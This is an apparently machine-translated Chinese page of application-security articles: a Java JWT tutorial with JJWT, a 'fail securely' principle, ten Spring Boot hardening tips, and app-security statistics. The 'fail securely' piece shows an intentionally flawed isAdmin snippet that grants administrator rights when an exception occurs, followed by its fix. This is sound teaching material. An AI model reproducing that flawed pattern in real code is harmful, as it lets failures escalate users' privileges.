- 186 次浏览
【应用安全】 使用Java创建和验证JWT
Java对JWT(JSON Web Tokens)的支持过去需要大量的工作:广泛的自定义,几小时的解析依赖关系,以及仅用于组装简单JWT的代码页。不再!
本教程将向您展示如何使用现有的JWT库来做两件事:
- 生成JWT
- 解码并验证JWT
您会注意到该教程非常简短。那是因为它很容易。如果您想深入挖掘,请查看JWT规范或深入了解有关在Spring Boot应用程序中使用JWT进行令牌身份验证的更长篇文章。
什么是JWT?
JSON Web令牌是用于以紧凑和安全的方式在各方之间发送信息的JSON对象。 JSON规范或Javascript Object Notation定义了一种使用键值对创建纯文本对象的方法。它是构建基于原始类型(数字,字符串等)的数据的紧凑方式。你可能已经非常熟悉JSON了。它就像没有所有括号的XML。
令牌可用于在各方之间发送任意状态。通常这里“聚会”表示客户端Web应用程序和服务器。 JWT有许多用途:身份验证机制,URL安全编码,安全共享私有数据,互操作性,数据到期等。
实际上,这些信息通常涉及两件事:授权和会话状态。服务器可以使用JWT告诉客户端应用程序允许用户执行哪些操作(或允许他们访问哪些数据)。
JWT通常还用于存储Web会话的依赖于状态的用户数据。因为JWT在客户端应用程序和服务器之间来回传递,这意味着状态数据不必存储在某个数据库中(并随后在每个请求中检索);因此,它可以很好地扩展。
让我们来看一个示例JWT(取自jsonwebtoken.io)
JWT有三个部分:标题,正文和签名。标题包含有关如何编码JWT的信息。身体是令牌的肉(声称存在的地方)。签名提供安全性。
关于如何编码令牌以及如何将信息存储在正文中,我们将不会详细介绍这些细节。如果需要,请查看前面提到的教程。
不要忘记:加密签名不提供机密性;它们只是一种检测篡改JWT的方法,除非JWT是专门加密的,否则它们是公开可见的。签名只是提供了一种验证内容的安全方法。
大。得到它了?现在你需要用JJWT制作一个令牌!在本教程中,我们使用的是现有的JWT库。 Java JWT(a.k.a.,JJWT)由Les Hazlewood创建(Apache Shiro的前任提交者,Stormpath的前联合创始人兼首席技术官,目前是Okta自己的高级架构师),JJWT是一个简化JWT创建和验证的Java库。它完全基于JWT,JWS,JWE,JWK和JWA RFC规范以及Apache 2.0许可条款下的开源。该库还为规范添加了一些不错的功能,例如JWT压缩和声明实施。
用Java生成令牌
这部分超级简单。我们来看一些代码吧。克隆GitHub仓库:
git clone https://github.com/oktadeveloper/okta-java-jwt-example.git cd okta-java-jwt-example
这个例子非常基本,包含一个带有两个静态方法的src / main / java / JWTDemo.java类文件:createJWT()和decodeJWT()。 狡猾的是,这两种方法创建了JWT并解码了JWT。 看看下面的第一种方法。
public static String createJWT(String id, String issuer, String subject, long ttlMillis) { //The JWT signature algorithm we will be using to sign the token SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256; long nowMillis = System.currentTimeMillis(); Date now = new Date(nowMillis); //We will sign our JWT with our ApiKey secret byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(SECRET_KEY); Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName()); //Let's set the JWT Claims JwtBuilder builder = Jwts.builder().setId(id) .setIssuedAt(now) .setSubject(subject) .setIssuer(issuer) .signWith(signatureAlgorithm, signingKey); //if it has been specified, let's add the expiration if (ttlMillis > 0) { long expMillis = nowMillis + ttlMillis; Date exp = new Date(expMillis); builder.setExpiration(exp); } //Builds the JWT and serializes it to a compact, URL-safe string return builder.compact(); }
总而言之,createJWT()方法执行以下操作:
- 设置散列算法
- 获取Issued At声明的当前日期
- 使用SECRET_KEY静态属性生成签名密钥
- 使用流畅的API添加声明并签署JWT
- 设置到期日期
这可以根据您的需求进行定制。 例如,如果您要添加不同或自定义声明。
解码令牌
现在来看看更简单的decodeJWT()方法。
public static Claims decodeJWT(String jwt) { //This line will throw an exception if it is not a signed JWS (as expected) Claims claims = Jwts.parser() .setSigningKey(DatatypeConverter.parseBase64Binary(SECRET_KEY)) .parseClaimsJws(jwt).getBody(); return claims; }
该方法再次使用静态SECRET_KEY属性生成签名密钥,并使用它来验证JWT是否未被篡改。 如果签名与令牌不匹配,则该方法将抛出io.jsonwebtoken.SignatureException异常。 如果签名匹配,则该方法将声明作为声明对象返回。
这就是它!
运行JUnit测试
为了额外的功劳,您可以在示例项目中运行JUnit测试。 有三个测试,它们展示了JJWT库的一些基本功能。 第一个测试显示了快乐路径,创建并成功解码了有效的JWT。 第二个测试显示当您尝试将完全伪造的字符串解码为JWT时JJWT库将如何失败。 最后一个测试显示了被篡改的JJWT将如何导致decodeJWT()方法抛出SignatureException。
您可以使用以下命令从命令行运行这些测试:
./gradlew test -i
-i是将Gradle的日志级别设置为Info,以便我们从测试中看到简单的日志记录输出。
了解有关在Java应用程序中使用JWT的更多信息
JJWT库使得创建和验证JWT变得非常容易。只需指定一个密钥和一些声明,你就有了一个JJWT。稍后,使用相同的密钥对JJWT进行解码并验证其内容。
创建和使用JJWT现在非常简单,为什么不使用它们?
不要忘记SSL!请记住,除非JWT加密,否则其中编码的信息通常只有Base64编码,任何小孩和一些宠物都可以阅读。因此,除非您希望中国,俄罗斯和FBI读取您的所有会话数据,否则请使用SSL对其进行加密。
Baeldung在Java和JWT方面有很好的深度教程。
此外,以下是来自Okta博客的更多链接,以便您继续:
- Java应用程序的简单令牌认证
- 开始使用Spring Boot,OAuth 2.0和Okta
- 10种保护Spring Boot应用程序的绝佳方法
- 如果您的JWT被盗,会发生什么?
- JWT分析仪和Inspector Chrom插件
- 在线编码或解码JWT
讨论:请加入知识星球【首席架构师圈】
- 66 次浏览
【应用安全】 应用安全员原则:安全失败
描述
安全地处理错误是安全编码的一个关键方面。有两种类型的错误需要特别注意。第一个是在处理安全控制本身时发生的异常。重要的是,这些异常不会启用对策通常不允许的行为。作为开发人员,您应该考虑安全机制通常有三种可能的结果:
- 允许操作
- 禁止操作
- 例外
通常,您应该设计安全机制,以便故障将遵循与禁止操作相同的执行路径。例如,如果在处理期间存在异常,则isAuthorized(),isAuthenticated()和validate()等安全方法都应返回false。如果安全控制可以抛出异常,那么它们必须非常清楚该条件的确切含义。
另一种类型的安全相关异常是在不属于安全控制的代码中。如果它们影响应用程序是否正确调用控件,则这些异常与安全性相关。异常可能导致安全方法在不应该被调用时,或者它可能会影响安全控件中使用的变量的初始化。
例子
isAdmin
isAdmin = true; try { codeWhichMayFail(); isAdmin = isUserInRole( “Administrator” ); } catch (Exception ex) { log.write(ex.toString()); }
如果codeWhichMayFail()失败,则默认情况下用户是管理员。这显然是一种安全风险。在这种情况下,修复很简单。它涉及简单的逻辑反转。在示例实例中,这很容易做到。
isAdmin = false; try { codeWhichMayFail(); isAdmin = isUserInrole( "Administrator" ); } catch (Exception ex) { log.write(ex.toString()); }
此示例也是最低权限原则的示例,该原则声明您永远不应授予超出要求的访问权限。如果codeWhichmayFail()需要管理员访问权限,我们应该在运行该代码之前验证管理员访问权限。
相关漏洞
相关控制
相关原则
参考
https://buildsecurityin.us-cert.gov/articles/knowledge/principles/faili…
讨论:加入知识星球【首席架构师圈】
- 47 次浏览
【应用安全】10种保护Spring Boot应用程序的绝佳方法
视频号
微信公众号
知识星球
Spring Boot极大地简化了Spring应用程序的开发。它的自动配置和启动器依赖关系减少了启动应用程序所需的代码和配置量。
Spring Boot于2014年首次发布,自那以后发生了很多变化。就像代码质量和测试一样,安全性已经成为开发人员关注的问题。如果您是一名开发人员,并且不关心安全性,那么您可能认为您应该关心安全性。本文的目的是向您介绍如何创建更安全的Spring引导应用程序。
我与Simon Maple合作撰写了这篇文章,他是斯奈德的Java冠军和开发人员关系主管。我们都为安全行业的公司工作,热爱Java,并希望帮助开发人员创建更安全的应用程序。我们认为写这篇文章将是一个回馈社区的有趣方式。如果您对我们列出的有其他建议,请在评论中添加!
1. 在生产中使用HTTPS
传输层安全性(TLS)是HTTPS的官方名称。您可能听说过它被称为SSL(安全套接字层)。SSL是不推荐的名称。TLS是一种通过计算机网络提供安全通信的加密协议。它的主要目标是确保计算机应用程序之间的隐私和数据完整性。
TLS/SSL证书过去很昂贵,HTTPS被认为很慢。机器变得更快,解决了性能问题,让我们加密提供免费的TLS证书。这两个发展已经改变了游戏,并使TLS成为主流。
自2018年7月24日起,谷歌Chrome浏览器将HTTP站点标记为“不安全”。虽然这在web社区中引起了相当多的争议,但它仍然存在。特洛伊亨特,一位著名的安全研究员,创造了一个为什么没有HTTPS?跟踪不使用HTTPS的大型网站的站点。你可能不会开发下一个主要的网站,但是为什么要限制自己呢?
生成和更新Let 's加密的TLS证书可以实现自动化。既然他们是免费的,就没有理由不去做!Let 's Encrypt保护的Spring引导是关于如何做到这一点的有用指南。
要在Spring Boot应用程序中强制使用HTTPS,可以扩展WebSecurityConfigurerAdapter并要求安全连接。
@Configuration public class SecurityConfiguration extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.requiresChannel().requiresSecure(); } }
此配置还将强制HTTPS进入开发,这可能会带来麻烦,因为您必须使用自签名证书。如果使用Heroku、Cloud Foundry或其他云提供商,更合理的配置是寻找x - forward - proto头文件。
@Configuration public class SecurityConfiguration extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.requiresChannel() .requestMatchers(r -> r.getHeader("X-Forwarded-Proto") != null) .requiresSecure(); } }
云提供商可以极大地简化TLS证书。Amazon证书管理器与Let 's加密完全一样,只是默认情况下它内置在所有AWS产品/服务中。它允许您提供100%免费的SSL证书,并处理自动更新等,几乎不需要任何工作/配置。Heroku也有自动的证书管理。
另一个要做的重要事情是使用HTTP严格传输安全(HSTS)。HSTS是一种web安全策略机制,用于保护网站免受协议降级攻击和cookie劫持。服务器使用名为Strict-Transport-Security的响应头字段将HSTS策略与浏览器通信。Spring Security在缺省情况下发送此头,以避免在开始时不必要的HTTP跳转。
2. 使用斯奈德(Snyk)检查依赖
您很可能不知道应用程序使用了多少直接依赖项。您极有可能不知道应用程序使用了多少传递依赖项。这通常是正确的,尽管依赖关系构成了整个应用程序的大部分。攻击者越来越多地瞄准开源依赖关系,因为它们的重用为恶意黑客提供了许多受害者。确保应用程序的整个依赖树中没有已知的漏洞是很重要的。
斯奈德测试你的应用程序构建构件,标记那些已知漏洞的依赖关系。它为您提供了一个存在于您的应用程序中用作仪表板的包中的漏洞列表。
此外,它将建议升级版本或提供补丁,通过对源代码存储库发出拉请求来修复安全性问题。snyder还保护您的环境,通过确保将来在您的存储库中提出的任何pull请求都被自动测试(通过webhook),以确保它们不会引入新的已知漏洞。
每天都会在现有的项目和库中发现新的漏洞,因此监视和保护生产部署非常重要。斯奈德会拍快照并监控你的部署,这样当发现新的漏洞时,你可以通过你喜欢的频道,JIRA, slack或电子邮件自动通知你,并创建拉请求来为新的漏洞提供升级和补丁。
snyder k通过web UI和CLI可用,因此您可以轻松地将其集成到CI环境中,并在漏洞严重程度超过设置阈值时配置它来破坏构建。
你可以免费使用斯奈德的开源项目或私人项目,每月测试的次数有限。
3.升级到最新版本
定期升级应用程序中的依赖项有多种原因。安全性是促使您进行升级的最重要原因之一。start.spring。io starter页面尽可能使用最新版本的Spring包以及依赖项。
“我发现,在依赖关系中寻找漏洞可能有助于激励人们进行升级。然而,有大量证据表明,并不是所有的cve都被报道。一般来说,我发现理想的解决方案(可能不实用)是最新的和最好的。——Rob Winch
基础设施升级的破坏性通常小于依赖项升级,因为库的作者对向后兼容性和版本之间的行为变化的敏感性不同。也就是说,当您在配置中发现安全漏洞时,您有三个选项:升级、补丁或忽略。
升级是最安全的,就应用程序的整体健康而言,在您对应用程序进行任何必要的更改以使用新版本之后。
脆弱项目的补丁将从包中消除该漏洞,但通常会留下一个配置,该配置可能没有经过很好的测试。对库的代码更改会更少,因为补丁只会更改易受攻击的代码,所以破坏向后兼容性或引入行为更改的几率会降低。第三方安全公司,如斯奈德手工修补了许多漏洞,所以如果不能升级到一个新的版本的库,你仍然可以使用旧版本的补丁。
忽略漏洞当然是一种选择,但不是一个好的选择。也许您知道某个漏洞,但是不相信它是可以直接利用的。请记住,它现在可能不在您的应用程序流中,但是在某个时候,开发人员可能会添加使用脆弱路径的额外代码。
4. 使CSRF保护
跨站点请求伪造是一种攻击,它迫使用户在当前登录的应用程序中执行不需要的操作。如果用户是普通用户,则成功的攻击可能涉及状态更改请求,如转移资金或更改电子邮件地址。如果用户拥有更高的权限,CSRF攻击可能危及整个应用程序。
Spring Security默认支持优秀的CSRF。如果您使用Spring MVC的标记或Thymeleaf和@EnableWebSecurity, CSRF令牌将自动添加为一个隐藏的输入字段。
如果您正在使用像Angular或React这样的JavaScript框架,则需要配置CookieCsrfTokenRepository,以便JavaScript能够读取cookie。
@EnableWebSecurity public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http .csrf() .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); } }
如果你使用Angular,这就是你需要做的。如果使用React,则需要读取XSRF-TOKEN cookie并将其作为X-XSRF-TOKEN头发送回去。
当通过HTTPS发出请求时,Spring Security会自动向XSRF-TOKEN cookie添加一个安全标志。Spring Security对CSRF cookie不使用SameSite=strict标志,但在使用Spring会话或WebFlux会话处理时使用。这对于会话cookie是有意义的,因为它被用来标识用户。它没有为CSRF cookie提供太多的价值,因为CSRF令牌也需要在请求中。
5. 使用内容安全策略来防止XSS攻击
内容安全策略(CSP)是一种附加的安全层,有助于减轻跨站点脚本攻击和数据注入攻击。要启用它,您需要将应用程序配置为返回Content-Security-Policy头。还可以在HTML页面中使用标记。
Spring security在默认情况下提供了许多安全头:
Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 ; includeSubDomains X-Frame-Options: DENY X-XSS-Protection: 1; mode=block
Spring Security默认情况下不添加CSP。您可以使用下面的配置在Spring Boot应用程序中启用CSP头。
@EnableWebSecurity public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.headers() .contentSecurityPolicy("script-src 'self' https://trustedscripts.example.com; object-src https://trustedplugins.example.com; report-uri /csp-report-endpoint/"); } }
CSP是防止XSS攻击的一种很好的防御手段。请记住,打开您的CSP以允许使用CDN通常会允许访问许多非常古老和脆弱的JavaScript库。这意味着使用CDN通常意味着您不再为应用程序的安全性增加很多价值。
您可以使用securityheaders.com测试您的CSP头文件。
6. 使用OpenID Connect进行身份验证
OAuth 2.0是用于授权的行业标准协议。它使用范围来定义授权用户可以执行哪些操作的权限。但是,OAuth 2.0不是一个身份验证协议,它不提供关于经过身份验证的用户的任何信息。
OpenID Connect (OIDC)是一个提供用户信息的OAuth 2.0扩展。除了访问令牌之外,它还添加了ID令牌,以及/userinfo端点,您可以从该端点获得附加信息。它还添加了端点发现特性和动态客户端注册。
下图显示了OIDC如何进行身份验证。
如果使用OIDC进行身份验证,就不必担心存储用户、密码或身份验证用户。相反,您将使用标识提供程序(IdP)为您完成这项工作。您的IdP甚至可能提供安全附加组件,比如多因素身份验证(multi-factor authentication, MFA)。
要了解如何在Spring引导应用程序中使用OIDC,请参阅Spring Security 5.0和OIDC入门。要总结如何使用它,您需要向项目添加一些依赖项,然后在应用程序中配置一些属性。yml文件。
spring: security: oauth2: client: registration: okta: client-id: {clientId} client-secret: {clientSecret} scope: openid email profile provider: okta: issuer-uri: https://{yourOktaDomain}/oauth2/default
注意:使用发布器uri只在Spring Security 5.1中得到支持,Spring Security 5.1正在积极开发中,计划于2018年9月发布。
您可以使用像Keycloak这样的开源系统来设置自己的OIDC服务器。如果您不希望在生产中维护自己的服务器,可以使用Okta的开发人员api。今天注册一个免费帐户,每月在developer.okta.com/signup上获得1000个活跃用户!
如果您想使用OAuth 2.0、OIDC以及它所允许的不同流,请参见https://www.oauth.com/playground。这个站点不需要您创建帐户,但是它确实在幕后使用了Okta的开发人员api。
7. 管理密码吗?使用密码散列!
对于应用程序的安全性来说,用纯文本存储密码是最糟糕的做法之一。幸运的是,Spring security默认不允许使用纯文本密码。它还附带一个加密模块,您可以使用该模块进行对称加密、密钥生成和密码散列(也称为密码散列)。、密码编码)。
PasswordEncoder是Spring Security中密码散列的主要接口,其外观如下:
public interface PasswordEncoder { String encode(String rawPassword); boolean matches(String rawPassword, String encodedPassword); }
Pbkdf2PasswordEncoder。
对于一般的密码管理,我们建议使用SCrypt或Argon2。SCrypt现在很老了(已经有一段时间了),并且有一个BCrypt没有的额外复杂性因素,这使得使用蛮力变得更加困难/昂贵。它由著名的密码学者/安全专家(Colin Percival)编写,几乎每种编程语言都有很棒的库。SCrypt也得到了Latacora的认可。
Okta开发人员关系团队的密码学专家Randall Degges说:
Argon2相对较新(现在已经有几年的历史了),但是已经得到了广泛的审计/审查,并且是许多组织在几年的过程中参与的密码散列挑战的结果。毫无疑问,它们中“最强”的哈希算法增加了scrypt所没有的另一层复杂性,这使得与scrypt相比,使用暴力的代价要高得多/困难得多。Argon2非常棒,我已经在好几种语言中成功地使用了它,但是如果您担心过于尖端的scrypt是一个安全的选择,而且没有争议。
From Rob Winch, Spring Security Lead:
“我喜欢BCrypt,但一般的建议是单向自适应散列。出于遵从性的原因,一些用户可能需要使用PBKDF2。有一个Argon2支持的票据记录,但是我没有找到任何Apache 2原生Java实现(如果您知道任何实现,请让我知道!)相反,库依赖于它们委托给的二进制文件,在我看来这并不理想。对于等待还是利用委托给二进制的实现之一,我们持观望态度。”
对于那些希望使用SCrypt的用户,在SCryptPasswordEncoder中有通过Bouncy Castle实现Spring安全性的支持。Spring Security 5.1 (est. 2018年9月下旬)将附带一个UserDetailsPasswordService API,允许您升级密码存储。
8. 存储机密安全
密码、访问令牌等敏感信息应谨慎处理。您不能将它们放在周围,不能以纯文本形式传递它们,或者如果将它们保存在本地存储中,则不能进行预测。正如(GitHub)的历史一次又一次地证明,开发人员对于如何存储他们的秘密考虑得不够仔细。
当然,您可以也应该加密您的敏感数据,比如密码。现在您的密码是安全的,您有一个新的秘密,您的解密密钥!你打算怎么处理这个新秘密?也许在本地存储?也许在另一个地方,某个你认为攻击者很难找到它的地方。这并不能解决问题;它只是推迟了它。如果没有适当的程序,黑客想要破解你的秘密只会稍微困难一点。
一个好的实践是将秘密存储在一个保险库中,该保险库可用于存储、提供对应用程序可能使用的服务的访问,甚至生成凭据。HashiCorp的Vault使得存储秘密变得微不足道,同时还提供了许多额外的服务。Vault可以配置为不允许任何人访问所有数据,从而不提供单一的控制点。根密钥库定期使用更改,并且只存储在内存中。有一个主开关,当触发时将密封你的保险库,阻止它分享秘密,如果发生问题。Vault使用被分配给策略的令牌,这些策略可以作用于特定的用户、服务或应用程序。还可以与常见的身份验证机制(如LDAP)集成以获得令牌。
除了不存在问题的gold -path视图之外,Vault还帮助您处理被黑客攻击时存在的场景。此时,重要的是撤销单个或多个秘密,可能由特定用户或特定类型的用户来撤销。Vault提供了一种自动化的方法,当时机成熟时,可以快速完成这项工作。
如果您对此感兴趣,请务必花一些时间研究Spring Vault,它在HashiCorp Vault上添加了一个抽象,为客户端提供基于Spring注释的访问,允许他们访问、存储和撤销机密,而不会在基础设施中丢失。下面的代码片段显示了使用注释从Spring Vault提取密码是多么容易。
@Value("${password}")
String password;
9. 使用OWASP的ZAP测试您的应用程序
OWASP ZAP安全工具是一个代理,它在运行时对您的活动应用程序执行渗透测试。这是一个流行的(超过4k明星)免费开源项目,托管在GitHub上。
OWASP ZAP用于发现漏洞的两种方法是Spider和Active Scan。Spider工具从url种子开始,它将通过每个响应访问和解析url种子,识别超链接并将它们添加到列表中。然后,它将访问这些新发现的url并递归地继续,为web应用程序创建url映射。活动扫描工具将自动测试您所选择的目标,针对一系列潜在的漏洞。它向您提供了一个报告,显示您的web应用程序可以在何处被利用,以及关于该漏洞的详细信息。
10. 您的安全团队是否进行了代码评审
代码评审对于任何高性能的软件开发团队都是必不可少的。在Okta,我们所有的生产代码和官方开源项目都需要经过专家安全团队的分析。您的公司可能没有安全专家,但是如果您正在处理敏感数据,那么您应该这样做!
不要让你的缺乏安全感成为困扰
Okta有一些很棒的t恤,上面写着“我发现你缺乏安全保障,令人不安”。当我们在机场旅行时,我们喜欢听到乳胶手套被戴上的声音。不要成为在Spring引导应用程序中缺乏安全性的开发人员!
我发现你缺乏安全保障令人不安
要了解更多关于Spring引导和应用程序中的安全性,请参阅以下教程和文章:
- 开始使用Spring Security 5.0和OIDC
- 使用React和Spring Boot构建一个简单的CRUD应用程序
- 使用Spring Security和Thymeleaf将基于角色的访问控制添加到您的应用程序中
- 安全性和API之旅
- 准备在Heroku上生产一个Spring Boot应用程序
- 145 次浏览
【应用安全】32个应用程序安全性统计数据
应用程序安全性是一个移动目标业务需求和对速度的需求促使许多开发组织快速,持续地发布软件,并以牺牲安全性为代价。虽然越来越多的组织已开始采用自动化测试和DevSecOps方法来解决其中一些问题,但应用程序安全状态仍然是大多数企业主要关注的领域。
以下是32个数据点的集合,可提供当前应用程序安全性的快照。我们收集了各种分析报告,供应商调查和研究报告中的统计数据,涵盖了围绕应用程序安全性的最重要趋势和实践。
以下是数字的应用程序安全性。
85.1:可以在外部轻松发现且访问不当的应用程序的平均数量
可以在黑暗网络上访问属于金融时报(FT)500列表中70%公司的网站,因为这些应用程序不受强身份验证和其他访问控制措施的保护。
资料来源:被遗弃的网络应用:英国“金融时报”500强企业的致命弱点,高科技桥梁安全研究
92%:具有可被利用的安全漏洞或弱点的Web应用程序的百分比
大约16.2%的美国公司拥有两个或更多外部Web应用程序,允许通过Web表单输入个人身份信息(PII),并运行易受攻击的SSL / TLS版本,有时还有其他Web软件的过时和易受攻击的版本。
资料来源:被遗弃的网络应用:英国“金融时报”500强企业的致命弱点,高科技桥梁安全研究
66%:组织经历过应用层DDoS攻击的IT高管比例
来自2018年调查的790名高管中超过一半(56%)表示,他们必须每月更换面向公众的应用程序,以应对安全威胁。其余的更改了Web应用程序。
资料来源:2018-2019全球应用与网络安全报告,Radware
13:通过DAST找到的构建公司网站上的平均漏洞数量
在使用动态应用程序安全性测试发现的漏洞中,平均有五个是严重的。金融,零售和医疗保健 - 在最具针对性的行业中 - 具有较少的严重漏洞,其网站平均分别为1.6,2.7和1.7。
资料来源:2018年应用程序安全统计报告,WhiteHat Security
86%:具有一个或多个会话管理漏洞的已测试应用程序的百分比
由于输入验证错误(例如未能清理用户输入或未正确验证它),攻击者能够在大量情况下劫持或窃听用户会话。这是第二种最常见的错误类型,59%的测试应用程序具有一个或多个错误。
资料来源:2018年Trustwave全球安全报告
16%:中等,高或严重风险的测试应用程序中的安全漏洞百分比
在渗透测试期间发现的最常见的高风险漏洞是跨站点脚本错误,默认凭据使用和垂直权限提升漏洞。
资料来源:2018年Trustwave全球安全报告
19,954:2017年来自259家供应商的1,865份应用程序检测到的漏洞总数
这个数字比2016年发现的17,147个缺陷增加了14%,与五年前相比增长了38%。
来源:漏洞评论2018年,Flexera软件
14:2017年报告的零日漏洞总数
在披露之前利用漏洞的零日漏洞数量比2016年的23个零日漏洞减少了近40%。零日攻击可能造成重大损失,但数据显示它们仍然是一种罕见的威胁。
来源:漏洞评论2018年,Flexera软件
86%:在披露后24小时内提供补丁的漏洞百分比
补丁可用性的速度使组织有更多机会在2017年被利用之前修复严重且影响较大的应用程序漏洞。这一转变标志着2016年增加了5个百分点。
来源:漏洞评论2018年,Flexera软件
38:无论严重性如何,修补Web应用程序漏洞所需的平均天数
通常,企业需要54天来修补低严重性漏洞,花34天时间修复2018年第二季度的高严重性漏洞,平均需要38天才能修补Web应用程序漏洞,无论严重程度如何。
来源:生产中Web应用程序的安全报告,tCell
70%:由开源软件,第三方库等组成的应用程序中的代码比例。
开源软件,第三方库和其他可重用组件中的严重漏洞数量继续增加,使得不采用跟踪第三方组件使用措施的团队几乎不可能进行补救。
资料来源:2018年应用程序安全统计报告,WhiteHat Security
45%:在DAST期间发现的导致信息泄漏的漏洞百分比
在动态应用程序安全测试期间发现的漏洞几乎有一半导致数据泄露。其他三个最可能的DAST漏洞是内容欺骗(40%),跨站点脚本(38%)和传输层保护不足(23%)。
资料来源:2018年应用程序安全统计报告,WhiteHat Security
44%:组织发现主要存在Nessus缺陷的受访者的百分比
在本次调查中,有437名受访者表示,他们的组织主要通过Nessus发现应用程序漏洞。该数字比任何其他漏洞评估产品或工具高20分。
资料来源:2018年应用安全报告,网络安全内部人员
70%:主要进行笔测试以测试安全控制有效性的组织的百分比
虽然七分之一的人说进行渗透测试的主要原因是验证其安全控制的有效性,但十分之六的人使用笔测试来识别可能被攻击者利用的弱点。大约一半是为了满足法规或合规要求。
资料来源:2018年网络安全和渗透测试调查,由Decision Analyst主持并由SecureAuth + Core Security委托
84%:使用红色和蓝色团队安全测试的组织的百分比
在笔测试中,超过八成的组织使用红色和蓝色团队安全测试,因为他们认为这些方法是有效的。与小型公司相比,中型和大型公司更倾向于进行渗透测试。
资料来源:2018年网络安全和渗透测试调查,由Decision Analyst主持并由SecureAuth + Core Security委托
16%:组织不进行任何渗透测试的IT决策者的比例
在202名IT决策者的调查中,大约六分之一的受访者表示,他们所代表的组织不会进行任何渗透测试,或者如果他们这样做则不知道。 6%的人每年不到一次,75%的人表示他们的组织每年进行几次笔测试。
资料来源:2018年网络安全和渗透测试调查,由Decision Analyst主持并由SecureAuth + Core Security委托
31%:因开源而遭受破坏的组织的百分比
在对2,076名IT专业人员进行的调查中,近三分之一的受访者表示,他们的组织在其软件中遇到了与易受攻击的开源组件相关的漏洞。这个数字比2017年增加了55%。
资料来源:2018年DevSecOps社区调查,SonaType
38%:拥有软件中所有组件的完整物料清单的公司比例
不到四分之一的组织拥有完整的材料清单,用于其软件产品中的所有组件。近三分之二(62%)的人无法控制其应用中使用的组件。
资料来源:2018年DevSecOps社区调查,SonaType
48%:缺乏时间花在他们认为重要的安全问题上的开发人员的百分比
近一半的开发人员表示他们没有足够的时间花在安全上,即使他们意识到它的重要性。
资料来源:2018年DevSecOps社区调查,SonaType
37%:执行DevOps的组织的百分比,他们说静态应用程序分析工具至关重要
虽然有近四分之一的公司拥有成熟的DevOps实践,但静态分析工具至关重要,但只有12%没有DevOps实践的组织表示同样的事情。大约三分之一(33%)拥有成熟DevOps的组织使用动态分析工具,而只有8%的组织没有采用DevOps。
资料来源:2018年DevSecOps社区调查,SonaType
21%:通过SAST发现的与未修补的库相关的漏洞的比例
虽然通过静态应用程序安全性测试发现的近四分之一的缺陷与未修补的库有关,但在SAST期间发现的其他常见漏洞类包括应用程序配置错误(10.5%),跨站点脚本(8.3%)和明文密码(6.5%) )。
资料来源:2018年应用程序安全统计报告,WhiteHat Security
28%:拥有应用程序安全风险管理流程的CIO和CTO的百分比
虽然超过四分之一的C级高管负责应用风险,但首席信息安全官(CISO)仅在10%的组织中承担责任 - 尽管他们通常是第一个受到指责的人。安全漏洞。
资料来源:2018年应用保护报告,F5实验室
13%:访问问题和攻击导致的Web应用程序违规比例
在2017年和2018年第一季度,与访问相关的问题引发了十分之一的问题。此类问题的示例包括访问控制错误配置,强力密码破解以及来自被盗密码的凭据填充。
资料来源:2018年应用保护报告,F5实验室
52%:使用第三方组件的开发人员在披露漏洞时更新的百分比
在披露新的安全漏洞时,大约一半在其应用程序中使用第三方组件的开发人员更新组件。其中近一半的人不会更新已知的易受攻击的组件,从而使应用程序面临不必要的风险。
来源:由Veracode委托的Vanson Bourne DevSecOps调查报告
71%:表示公司有正式的应用程序计划的开发人员的比例
在2018年对400名开发人员的调查中,25%的人表示他们的组织没有应用程序安全计划,4%的人表示他们不知道他们的组织是否有一个。
来源:由Veracode委托的Vanson Bourne DevSecOps调查报告
19%:不熟悉OWASP Top 10的开发人员比例
近五分之一的开发人员表示他们根本不熟悉十大OWASP应用安全风险。几乎四分之一(22%)的软件设计师并不熟悉,相比之下,20%的团队领导者和10%的团队经理都不熟悉。
来源:由Veracode委托的Vanson Bourne DevSecOps调查报告
90%:OWASP Top 10未涵盖至少一个缺陷的应用程序的百分比
10个应用程序中有9个至少有一个OWASP Top 10未解决的安全漏洞。几乎一半(49%)的测试应用程序有一个或多个严重或高严重性的安全漏洞,OWASP Top 10未涵盖这些漏洞。
资料来源:2018年应用安全研究更新,Micro Focus Fortify软件安全研究团队
70亿美元:到2023年估计的应用程序安全市场规模
安全扫描工具的企业支出将在不久之后增加一倍以上,并为增长带来很多动力。
资料来源:Forrester Research
25%:表示其组织的应用程序支出的IT和安全团队的百分比是足够的
四分之一的组织在对1,400名IT和安全从业者的调查中表示,他们的组织正在充分利用应用程序安全性。近一半(48%)的业务经理认为应用程序性能和速度比安全性更重要。
资料来源:2018年全球应用安全研究,Arxan Technologies
65%:如果客户受到影响,将增加app sec的公司比例
只有当客户或最终用户在违规行为中受到负面影响时,才有超过六家公司会增加应用安全支出。尽管事实上近四分之三的组织可能,最有可能或肯定在过去的12个月内遇到过与应用程序相关的网络攻击或漏洞。
资料来源:2018年全球应用安全研究,Arxan Technologies
45%:面临已知但未修补的云应用程序缺陷攻击的公司百分比
运行云应用程序的组织中几乎有一半经历过针对已知但未修补的漏洞或先前未知的漏洞以及已知未修补的操作系统漏洞的一次或多次攻击。
资料来源:甲骨文和毕马威云威胁报告2018
30%:具有云应用程序的公司称识别漏洞的比例是优先考虑的因素
近三分之一的云应用程序企业表示,识别应用程序软件漏洞是其最关键的安全任务之一。组织希望提高对云托管工作负载的可见性的其他领域包括识别不合规的工作负载配置,异常工作负载活动和异常特权用户活动。
资料来源:甲骨文和毕马威云威胁报告2018
哪个app sec统计数据可以让你和你的团队在晚上工作?在下面的评论部分分享您的想法,并与您的同行互动。
讨论:请加入知识星球【首席架构师圈】
- 39 次浏览
【应用安全】5 个预测可帮助您在 2022 年集中您的 Web 应用安全资源
Web 应用程序网络安全的过去一年并不平静,如果 PerimeterX 首席技术官 Ido Safruti 对来年的预测是准确的,那么这将是保护 Web 应用程序的又一年努力。
